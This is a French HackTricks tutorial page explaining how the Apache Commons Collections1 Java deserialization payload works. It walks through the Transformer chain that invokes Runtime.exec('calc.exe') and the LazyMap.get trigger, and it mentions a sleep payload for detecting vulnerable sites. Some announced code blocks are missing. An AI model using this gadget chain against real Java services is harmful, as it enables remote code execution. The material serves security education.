Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
À plusieurs endroits, vous pouvez trouver une charge utile de désérialisation Java qui utilise des transformateurs d'Apache common collections comme celle-ci :
Si vous ne connaissez rien aux charges utiles de désérialisation Java, il pourrait être difficile de comprendre pourquoi ce code exécutera une calculatrice.
Tout d'abord, vous devez savoir qu'un Transformateur en Java est quelque chose qui reçoit une classe et la transforme en une autre.
Il est également intéressant de savoir que la charge utile qui est exécutée ici est équivalente à:
Alors, comment le premier payload présenté est-il équivalent à ces "simples" commandes d'une seule ligne?
Tout d'abord, vous pouvez remarquer dans le payload qu'une chaîne (tableau) de transformations est créée:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Si vous lisez le code, vous remarquerez que si vous parvenez à enchaîner la transformation du tableau, vous pourriez être en mesure d'exécuter des commandes arbitraires.
Alors, comment ces transformations sont-elles enchaînées ?
Dans la dernière section de la charge utile, vous pouvez voir qu'un objet Map est créé. Ensuite, la fonction decorate est exécutée à partir de LazyMap avec l'objet map et les transformateurs enchaînés. À partir du code suivant, vous pouvez voir que cela va provoquer la copie des transformateurs enchaînés à l'intérieur de l'attribut lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
Et puis le grand final est exécuté : lazyMap.get("anything");
Voici le code de la fonction get :
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
Et voici le code de la fonction transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Donc, rappelez-vous qu'à l'intérieur de l'usine nous avions enregistré chainedTransformer et à l'intérieur de la fonction transform nous parcourons tous ces transformateurs enchaînés et les exécutons un par un. La chose amusante, c'est que chaque transformateur utilise objectcomme entrée et l'objet est la sortie du dernier transformateur exécuté. Par conséquent, tous les transformations sont enchaînées en exécutant la charge utile malveillante.
Résumé
À la fin, en raison de la manière dont lazyMap gère les transformateurs enchaînés à l'intérieur de la méthode get, c'est comme si nous exécutions le code suivant:
Notez qu'ici il a été expliqué les gadgets utilisés pour la charge utile ComonsCollections1. Mais il reste à expliquer comment tout cela commence son exécution. Vous pouvez voir ici que ysoserial, afin d'exécuter cette charge utile, utilise un objet AnnotationInvocationHandler car lorsque cet objet est désérialisé, il invoquera la fonction payload.get() qui exécutera toute la charge utile.
Java Thread Sleep
Cette charge utile pourrait être utile pour identifier si le site web est vulnérable car elle exécutera une pause si c'est le cas.
Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!